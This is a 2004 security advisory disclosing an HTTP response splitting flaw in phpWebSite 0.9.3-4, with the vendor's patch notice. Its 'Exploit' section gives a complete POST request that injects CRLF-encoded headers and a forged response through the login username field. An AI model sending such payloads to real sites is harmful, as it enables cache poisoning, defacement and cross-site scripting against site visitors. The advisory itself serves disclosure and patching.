security hole (http response splitting) in phpwebsite

ADVISORY

Author: Maestro (me!)

Date: 11-NOV-04

Vendor: Appalachian State University (http://phpwebsite.appstate.edu/)

Product: phpWebSite 0.9.3-4

Product description (from vendor website):
phpWebSite provides a complete web site content management system. Web-based administration allows for easy
maintenance of interactive, community-driven web sites.
phpWebSite's growing number of modules allow for easy site customization without the need for unwanted or
unused features. Client output from phpWebSite is valid XHTML 1.0 and meets the W3C's Web Accessibility
Initiative requirements.
phpWebSite is written in the PHP Programming Language, making it ideal for developers to write customized
modules.

Problem: Http response splitting (web cache poisoning, xss,
yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Exploit:

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}This
site in 0wned{/html}&password=foobar

(replace curly braces with lessthan and greaterthan)

Vendor status: The vendor fixed this problem (11-NOV-04).
From vendor security mail list:
A security vulnerability was brought to our attention recently and we
have posted a patch to resolve this issue. The patch can be
downloaded
from here:

http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-security-patch2.tar.gz
md5sum: fcefda44a8d691c844593d815479a1ce

This patch should only be applied to versions 0.9.3-2 or greater. All
you need to do is untar the file in the base directory of your
phpwebsite install.

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